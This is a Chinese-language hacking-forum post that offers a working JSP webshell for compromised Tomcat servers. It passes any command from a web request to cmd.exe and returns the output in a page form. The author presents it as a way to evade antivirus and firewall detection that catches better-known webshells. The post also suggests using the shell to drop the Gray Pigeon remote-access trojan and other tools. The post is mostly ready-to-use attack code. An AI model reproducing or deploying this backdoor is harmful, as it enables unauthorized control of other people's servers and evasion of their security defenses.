只有CMD命令的JSP马

admin

各位基友是否遇到有的站需要登录才能访问本站的jsp文件，或者说tomcat传各种马子被杀！比如、（jspspy，菜刀一句话现在都有杀软或者防火墙杀），然后纯文件管理的马子又来函数禁用！
那么这时候可以使用这个马子，这样下载文件上传文件我们借助第三方的exe可以达到文件管理效果！丢个灰鸽子啥都，，，哈哈哈！
下面给大家一个jsp执行dos命令的马子！这东西不能称之为马子，所以，免杀必然就自然啦！
至于想达到文件管理下载文件之类的， 大家上一个 AIO之类的东西轻松搞定！

1. <%@ page contentType="text/html; charset=gb2312"%>
   
2. <%@ page import="java.io.*"%>
   
3. <%
   
4. String cmd = request.getParameter("cmd");
   
5. String output = "";
   
6. 
   
7. if(cmd != null) {
   
8. String s = null;
   
9. try {
   
10. Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
    
11. BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
    
12. while((s = sI.readLine()) != null) {
    
13. output += s;
    
14. }
    
15. }
    
16. catch(IOException e) {
    
17. e.printStackTrace();
    
18. }
    
19. }
    
20. %>
    
21. <form method="post" action’’>
    
22. <input name='cmd' type=text>
    
23. <input type=submit value='Run'>
    
24. </form>
    
25. <textarea name="hack" rows="20" cols="70">
    
26. <%=output%>
    
27. </textarea>

复制代码